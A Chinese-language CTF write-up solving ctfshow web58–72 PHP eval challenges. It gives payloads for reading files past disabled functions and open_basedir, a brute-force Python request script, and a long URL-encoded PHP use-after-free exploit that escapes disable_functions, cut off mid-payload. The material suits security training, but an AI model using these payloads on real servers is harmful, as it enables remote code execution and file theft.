$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

payload:

?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

image-20250109212817993

# web58

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109222521232.png" alt="image-20250109222521232" style="zoom:67%;" />

看见直接是 eval , 那直接传入 system("ls"); 试试:

image-20250109222654168

发现被禁用了,试试其他的:

system(); exec(); passthru(); shell_exec(); #都被禁用了

# 解法一:

而下面的读文件的函数没被禁用:

show_source();
readfile(); #使用 readfile 读文件,显示在源码处)
highlight_file();
readgzfile();#也可读文件,常用于绕过过滤,在源码处
#使用方式都如:show_source ("flag.php");

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109224046344.png" alt="image-20250109224046344" style="zoom:67%;" />

# 解法二:

通过 include 绕过过滤:

c=include$_POST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109224328357.png" alt="image-20250109224328357" style="zoom:80%;" />

base64 解码后得到 flag

# 解法三:

使用无参数读取:

c=var_dump(scandir(pos(localeconv())));#查看当前目录内容
c=print_r(scandir(getcwd())); #查看当前目录内容

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109224530266.png" alt="image-20250109224530266" style="zoom:80%;" />

发现是倒数第二个文件,,利用无参数函数读取:

c=show_source(next(array_reverse(scandir(getcwd()))));#读倒数第二个
c=readfile(next(array_reverse(scandir(getcwd()))));#读倒数第二个,在源代码中显示
c=show_source(next(array_reverse(scandir(pos(localeconv())))));#读倒数第二个
c=show_source(array_rand(array_flip(scandir(getcwd())))); #array_rand (array_flip ()),array_flip () 是交换数组的键和值,array_rand () 是随机返回一个数组 多 post/get 几次就出来了【不用在意报错】

得到 flag:

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109224657157.png" alt="image-20250109224657157" style="zoom:67%;" />

# web59

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109225855882.png" alt="image-20250109225855882" style="zoom:67%;" />

随便试了几下,看起来 58 题的几个方法都还可以用:

c=show_source("flag.php");

image-20250109225957232

# web60

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109230435285.png" alt="image-20250109230435285" style="zoom:67%;" />

发现好像 58 题的仍然都可以用:

c=show_source("flag.php");

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109230533748.png" alt="image-20250109230533748" style="zoom:67%;" />

# web61

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109231043921.png" alt="image-20250109231043921" style="zoom:67%;" />

58 题的仍然可以用:

c=show_source(next(array_reverse(scandir(getcwd()))));

image-20250109231250499

# web62

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109232445458.png" alt="image-20250109232445458" style="zoom:80%;" />

禁用了 highlight 函数,继续 58 题的方法:

c=show_source(next(array_reverse(scandir(getcwd()))));

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109232519506.png" alt="image-20250109232519506" style="zoom:80%;" />

# web63

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109232746067.png" alt="image-20250109232746067" style="zoom:67%;" />

c=include$_POST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

base64 解码,获得 flag

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109232945947.png" alt="image-20250109232945947" style="zoom:67%;" />

# web64

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109233142782.png" alt="image-20250109233142782" style="zoom:67%;" />

继续:

c=include$_POST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

base64 解码,获得 flag

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109233304945.png" alt="image-20250109233304945" style="zoom:67%;" />

# web65

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109233618915.png" alt="image-20250109233618915" style="zoom:67%;" />

c=show_source(next(array_reverse(scandir(getcwd()))));

image-20250109233653832

# web66

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109234036949.png" alt="image-20250109234036949" style="zoom:67%;" />

无参函数 show_source() 被禁用了,但是 readgzfile(); 还可以用

c=readgzfile("flag.php");

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109234357909.png" alt="image-20250109234357909" style="zoom:67%;" />

找一下 flag 的位置:

  1. 先看当前目录:
c=print_r(scandir(getcwd()));

这里的 flag.php 是假的

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250110001120248.png" alt="image-20250110001120248" style="zoom:67%;" />

  1. 再查看上级目录:
c=print_r(scandir(dirname(getcwd()))); // 查看上一级目录的文件

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250110001019613.png" alt="image-20250110001019613" style="zoom: 67%;" />

  1. 查看根目录【这里 serialize () 被禁用了,但是还是能读到根目录】:
#查看根目录文件 (需要一定的权限才能读):
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));#strrev (crypt (serialize (array ()))) 所获得的字符串第一位有几率是 `/`【要多试几次】
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd())); #
#看了物品发现可以直接:
c=print_r(scandir("/"));
c=highlight_file('/flag.txt');

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250110000705485.png" alt="image-20250110000705485" style="zoom:67%;" />

想办法访问第六个数组内容:

if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd()))));#随机访问,多试试

尝试花费太多时间,直接用脚本了:

import re
import urllib
from urllib import parse
import requests
#获取用户输入的 url
URL=input('url(是http,不是https):')
payload='if(chdir(chr(ord(strrev(crypt(serialize(array())))))))readgzfile(array_rand(array_flip(scandir(getcwd()))));'
print(payload)
p=urllib.parse.unquote(payload)
print(p)
# 发送 POST 请求到指定的 URL,数据中包含编码后的 payload
#urllib.parse.unquote () 对 payload 进行 URL 解码,编码的字符串会被解码成原始字符串,如将 %20 解码成空格【只对 url 编码的解码,已经是字符串的不变】
#data 参数是一个字典,其中包含你要通过 POST 请求发送的数据。在这个例子中,字典的键是 'c',值是解码后的 payload
#这里的 c 就是 c=xxxxx;(post 或 gets 传入的参数变量)
response=requests.post(URL,data={'c':urllib.parse.unquote(payload)})
#response=requests.get(URL,data={'c':urllib.parse.unquote(payload)})
# 输出服务器的响应文本
s=response.text
print(s)
while(1):
    response = requests.post(URL, data={'c': urllib.parse.unquote(payload)})
    s = response.text
    print(s)
    if 'ctfshow{' in s: #`ctfshow {` 开头的才是 flag
        break
#http://7e7a638b-1bd6-4bda-b7d8-0c4cf5783fe8.challenge.ctf.show/

很快就得到 flag:

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250110003807489.png" alt="image-20250110003807489" style="zoom:67%;" />

# web67

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250110004857155.png" alt="image-20250110004857155" style="zoom:67%;" />

尝试读 flag:

c=readgzfile("flag.php");

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250110004941396.png" alt="image-20250110004941396" style="zoom:80%;" />

发现又不在,直接用 66 题脚本,发现 chr() 函数被禁了,查看根目录发现 print_r 也被禁了,用

c=var_dump(scandir("/"));

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250110005540244.png" alt="image-20250110005540244" style="zoom:67%;" />

根目录下有 flag,读取:

c=readgzfile("/flag.txt");

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250110005705829.png" alt="image-20250110005705829" style="zoom:67%;" />

# web68

题目可能出问题了,直接说 highlight_file() 没有给出代码....

image-20250110012809559

直接用上一题的方法试试:

c=readgzfile("/flag.txt");

直接获得 flag

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250110012944365.png" alt="image-20250110012944365" style="zoom:67%;" />

# web69

题目又是这种出问题了,直接说 highlight_file() 禁用没有给出代码....

image-20250110024715366

继续用上一题的试试

c=include('/flag.txt');

又成功得到 flag

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250110024841218.png" alt="image-20250110024841218" style="zoom:67%;" />

# web70

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250110111605293.png" alt="image-20250110111605293" style="zoom:80%;" />

禁用了上面三个函数,继续上一题的 payload:

c=include('/flag.txt');

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250110111715761.png" alt="image-20250110111715761" style="zoom:67%;" />

# web71

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111092911113.png" alt="image-20250111092911113" style="zoom:67%;" />

初看感觉和上一题一样,用上一题的 payload:

c=include('/flag.txt');

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111093034738.png" alt="image-20250111093034738" style="zoom:67%;" />

看起来是被通配符给替换了,猜测是屏蔽了回显内容

问下翻了一下题目才发现有源码....,查看一下:

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111093751135.png" alt="image-20250111093751135" style="zoom:67%;" />

发现是将所有的输出内容为数字和字母替换为 ? ,本来想着让输出内容为特殊符号然后自行解码,不过不知道怎么搞,发现可以先 退出程序 或先 把缓冲区送出

#1. 劫持输出缓冲区之前就把缓冲区送出,可以用的函数有:
ob_flush();
ob_end_flush();
payload示例:
c=include('/flag.txt');ob_flush();
#2. 提前终止程序,即执行完代码直接退出,可以调用的函数有:
exit();
die();
payload示例:
c=include('/flag.txt');exit();

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111102150640.png" alt="image-20250111102150640" style="zoom:67%;" />

# web72

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111103332000.png" alt="image-20250111103332000" style="zoom:67%;" />

和上一题一样,用上一题的 payload 试试:

#1. 劫持输出缓冲区之前就把缓冲区送出,可以用的函数有:
ob_flush();
ob_end_flush();
payload示例:
c=include('/flag.txt');ob_flush();
#2. 提前终止程序,即执行完代码直接退出,可以调用的函数有:
exit();
die();
payload示例:
c=include('/flag.txt');exit();

这里发现 include() 失败了,查看一下 flag 的路径也不行,不能访问 / ,访问路径被限制了,只能允许访问的是 /var/www/html/。
也就是说,本题设置了 open_basedir,将 php 所能打开的文件限制在指定的目录树中,包括文件本身。因为 ini_set () 也被限制了,所以 open_basedir 不能用 ini_set 重新设置绕过。

# 【试错环节】

发现查看根目录没有权限,:

c=echo json_encode(scandir("/"));die();

image-20250111104908515

查看当前目录:

c=var_export(scandir(pos(localeconv())));die();

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111104740254.png" alt="image-20250111104740254" style="zoom:67%;" />

读一下 flag.php 试试:

c=include('flag.php');ob_flush(); #不显示
c=readgzfile('flag.php');ob_flush(); #查看源代码发现 flag 不在这

# 【正解】

  1. 查看根目录有那些文件

    c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?>

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111131131123.png" alt="image-20250111131131123" style="zoom:67%;" />

  1. 发现有 flag0.txt,使用绕过安全目录的脚本

    c=%3f%3e%3c%3f%70%68%70%0a%66%75%6e%63%74%69%6f%6e%20%63%74%66%73%68%6f%77%28%24%63%6d%64%29%20%7b%0a%20%20%20%20%67%6c%6f%62%61%6c%20%24%61%62%63%2c%20%24%68%65%6c%70%65%72%2c%20%24%62%61%63%6b%74%72%61%63%65%3b%0a%0a%20%20%20%20%63%6c%61%73%73%20%56%75%6c%6e%20%7b%0a%20%20%20%20%20%20%20%20%70%75%62%6c%69%63%20%24%61%3b%0a%20%20%20%20%20%20%20%20%70%75%62%6c%69%63%20%66%75%6e%63%74%69%6f%6e%20%5f%5f%64%65%73%74%72%75%63%74%28%29%20%7b%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%67%6c%6f%62%61%6c%20%24%62%61%63%6b%74%72%61%63%65%3b%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%75%6e%73%65%74%28%24%74%68%69%73%2d%3e%61%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%62%61%63%6b%74%72%61%63%65%20%3d%20%28%6e%65%77%20%45%78%63%65%70%74%69%6f%6e%29%2d%3e%67%65%74%54%72%61%63%65%28%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%21%69%73%73%65%74%28%24%62%61%63%6b%74%72%61%63%65%5b%31%5d%5b%27%61%72%67%73%27%5d%29%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%62%61%63%6b%74%72%61%63%65%20%3d%20%64%65%62%75%67%5f%62%61%63%6b%74%72%61%63%65%28%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%0a%20%20%20%20%63%6c%61%73%73%20%48%65%6c%70%65%72%20%7b%0a%20%20%20%20%20%20%20%20%70%75%62%6c%69%63%20%24%61%2c%20%24%62%2c%20%24%63%2c%20%24%64%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%73%74%72%32%70%74%72%28%26%24%73%74%72%2c%20%24%70%20%3d%20%30%2c%20%24%73%20%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%24%61%64%64%72%65%73%73%20%3d%20%30%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%6a%20%3d%20%24%73%2d%31%3b%20%24%6a%20%3e%3d%20%30%3b%20%24%6a%2d%2d%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%65%73%73%20%3c%3c%3d%20%38%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%65%73%73%20%7c%3d%20%6f%72%64%28%24%73%74%72%5b%24%70%2b%24%6a%5d%29%3b%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%61%64%64%72%65%73%73%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%74%72%32%73%74%72%28%24%70%74%72%2c%20%24%6d%20%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%24%6f%75%74%20%3d%20%22%22%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%20%28%24%69%3d%30%3b%20%24%69%20%3c%20%24%6d%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6f%75%74%20%2e%3d%20%73%70%72%69%6e%74%66%28%22%25%63%22%2c%28%24%70%74%72%20%26%20%30%78%66%66%29%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%74%72%20%3e%3e%3d%20%38%3b%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%6f%75%74%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%77%72%69%74%65%28%26%24%73%74%72%2c%20%24%70%2c%20%24%76%2c%20%24%6e%20%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%24%69%20%3d%20%30%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%6e%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%73%74%72%5b%24%70%20%2b%20%24%69%5d%20%3d%20%73%70%72%69%6e%74%66%28%22%25%63%22%2c%28%24%76%20%26%20%30%78%66%66%29%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%76%20%3e%3e%3d%20%38%3b%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%6c%65%61%6b%28%24%61%64%64%72%2c%20%24%70%20%3d%20%30%2c%20%24%73%20%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%67%6c%6f%62%61%6c%20%24%61%62%63%2c%20%24%68%65%6c%70%65%72%3b%0a%20%20%20%20%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%36%38%2c%20%24%61%64%64%72%20%2b%20%24%70%20%2d%20%30%78%31%30%29%3b%0a%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%73%74%72%6c%65%6e%28%24%68%65%6c%70%65%72%2d%3e%61%29%3b%0a%20%20%20%20%20%20%20%20%69%66%28%24%73%20%21%3d%20%38%29%20%7b%20%24%6c%65%61%6b%20%25%3d%20%32%20%3c%3c%20%28%24%73%20%2a%20%38%29%20%2d%20%31%3b%20%7d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%6c%65%61%6b%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%61%72%73%65%5f%65%6c%66%28%24%62%61%73%65%29%20%7b%0a%20%20%20%20%20%20%20%20%24%65%5f%74%79%70%65%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%31%30%2c%20%32%29%3b%0a%0a%20%20%20%20%20%20%20%20%24%65%5f%70%68%6f%66%66%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%32%30%29%3b%0a%20%20%20%20%20%20%20%20%24%65%5f%70%68%65%6e%74%73%69%7a%65%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%33%36%2c%20%32%29%3b%0a%20%20%20%20%20%20%20%20%24%65%5f%70%68%6e%75%6d%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%33%38%2c%20%32%29%3b%0a%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%65%5f%70%68%6e%75%6d%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%68%65%61%64%65%72%20%3d%20%24%62%61%73%65%20%2b%20%24%65%5f%70%68%6f%66%66%20%2b%20%24%69%20%2a%20%24%65%5f%70%68%65%6e%74%73%69%7a%65%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%74%79%70%65%20%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%30%2c%20%34%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%66%6c%61%67%73%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%34%2c%20%34%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%76%61%64%64%72%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%30%78%31%30%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%6d%65%6d%73%7a%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%30%78%32%38%29%3b%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%70%5f%74%79%70%65%20%3d%3d%20%31%20%26%26%20%24%70%5f%66%6c%61%67%73%20%3d%3d%20%36%29%20%7b%20%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%61%74%61%5f%61%64%64%72%20%3d%20%24%65%5f%74%79%70%65%20%3d%3d%20%32%20%3f%20%24%70%5f%76%61%64%64%72%20%3a%20%24%62%61%73%65%20%2b%20%24%70%5f%76%61%64%64%72%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%61%74%61%5f%73%69%7a%65%20%3d%20%24%70%5f%6d%65%6d%73%7a%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%65%6c%73%65%20%69%66%28%24%70%5f%74%79%70%65%20%3d%3d%20%31%20%26%26%20%24%70%5f%66%6c%61%67%73%20%3d%3d%20%35%29%20%7b%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%74%65%78%74%5f%73%69%7a%65%20%3d%20%24%70%5f%6d%65%6d%73%7a%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%7d%0a%0a%20%20%20%20%20%20%20%20%69%66%28%21%24%64%61%74%61%5f%61%64%64%72%20%7c%7c%20%21%24%74%65%78%74%5f%73%69%7a%65%20%7c%7c%20%21%24%64%61%74%61%5f%73%69%7a%65%29%0a%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%66%61%6c%73%65%3b%0a%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%5b%24%64%61%74%61%5f%61%64%64%72%2c%20%24%74%65%78%74%5f%73%69%7a%65%2c%20%24%64%61%74%61%5f%73%69%7a%65%5d%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%67%65%74%5f%62%61%73%69%63%5f%66%75%6e%63%73%28%24%62%61%73%65%2c%20%24%65%6c%66%29%20%7b%0a%20%20%20%20%20%20%20%20%6c%69%73%74%28%24%64%61%74%61%5f%61%64%64%72%2c%20%24%74%65%78%74%5f%73%69%7a%65%2c%20%24%64%61%74%61%5f%73%69%7a%65%29%20%3d%20%24%65%6c%66%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%64%61%74%61%5f%73%69%7a%65%20%2f%20%38%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%64%61%74%61%5f%61%64%64%72%2c%20%24%69%20%2a%20%38%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3e%20%30%20%26%26%20%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3c%20%24%64%61%74%61%5f%61%64%64%72%20%2d%20%24%62%61%73%65%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%65%72%65%66%20%3d%20%6c%65%61%6b%28%24%6c%65%61%6b%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%64%65%72%65%66%20%21%3d%20%30%78%37%34%36%65%36%31%37%34%37%33%36%65%36%66%36%33%29%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6f%6e%74%69%6e%75%65%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%65%6c%73%65%20%63%6f%6e%74%69%6e%75%65%3b%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%64%61%74%61%5f%61%64%64%72%2c%20%28%24%69%20%2b%20%34%29%20%2a%20%38%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3e%20%30%20%26%26%20%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3c%20%24%64%61%74%61%5f%61%64%64%72%20%2d%20%24%62%61%73%65%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%65%72%65%66%20%3d%20%6c%65%61%6b%28%24%6c%65%61%6b%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%64%65%72%65%66%20%21%3d%20%30%78%37%38%36%35%36%38%33%32%36%65%36%39%36%32%29%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6f%6e%74%69%6e%75%65%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%65%6c%73%65%20%63%6f%6e%74%69%6e%75%65%3b%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%64%61%74%61%5f%61%64%64%72%20%2b%20%24%69%20%2a%20%38%3b%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%67%65%74%5f%62%69%6e%61%72%79%5f%62%61%73%65%28%24%62%69%6e%61%72%79%5f%6c%65%61%6b%29%20%7b%0a%20%20%20%20%20%20%20%20%24%62%61%73%65%20%3d%20%30%3b%0a%20%20%20%20%20%20%20%20%24%73%74%61%72%74%20%3d%20%24%62%69%6e%61%72%79%5f%6c%65%61%6b%20%26%20%30%78%66%66%66%66%66%66%66%66%66%66%66%66%66%30%30%30%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%30%78%31%30%30%30%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%20%3d%20%24%73%74%61%72%74%20%2d%20%30%78%31%30%30%30%20%2a%20%24%69%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%61%64%64%72%2c%20%30%2c%20%37%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%6c%65%61%6b%20%3d%3d%20%30%78%31%30%31%30%32%34%36%34%63%34%35%37%66%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%61%64%64%72%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%67%65%74%5f%73%79%73%74%65%6d%28%24%62%61%73%69%63%5f%66%75%6e%63%73%29%20%7b%0a%20%20%20%20%20%20%20%20%24%61%64%64%72%20%3d%20%24%62%61%73%69%63%5f%66%75%6e%63%73%3b%0a%20%20%20%20%20%20%20%20%64%6f%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%66%5f%65%6e%74%72%79%20%3d%20%6c%65%61%6b%28%24%61%64%64%72%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%66%5f%6e%61%6d%65%20%3d%20%6c%65%61%6b%28%24%66%5f%65%6e%74%72%79%2c%20%30%2c%20%36%29%3b%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%66%5f%6e%61%6d%65%20%3d%3d%20%30%78%36%64%36%35%37%34%37%33%37%39%37%33%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%6c%65%61%6b%28%24%61%64%64%72%20%2b%20%38%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%20%2b%3d%20%30%78%32%30%3b%0a%20%20%20%20%20%20%20%20%7d%20%77%68%69%6c%65%28%24%66%5f%65%6e%74%72%79%20%21%3d%20%30%29%3b%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%66%61%6c%73%65%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%74%72%69%67%67%65%72%5f%75%61%66%28%24%61%72%67%29%20%7b%0a%0a%20%20%20%20%20%20%20%20%24%61%72%67%20%3d%20%73%74%72%5f%73%68%75%66%66%6c%65%28%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%27%29%3b%0a%20%20%20%20%20%20%20%20%24%76%75%6c%6e%20%3d%20%6e%65%77%20%56%75%6c%6e%28%29%3b%0a%20%20%20%20%20%20%20%20%24%76%75%6c%6e%2d%3e%61%20%3d%20%24%61%72%67%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%69%66%28%73%74%72%69%73%74%72%28%50%48%50%5f%4f%53%2c%20%27%57%49%4e%27%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%27%54%68%69%73%20%50%6f%43%20%69%73%20%66%6f%72%20%2a%6e%69%78%20%73%79%73%74%65%6d%73%20%6f%6e%6c%79%2e%27%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%24%6e%5f%61%6c%6c%6f%63%20%3d%20%31%30%3b%20%0a%20%20%2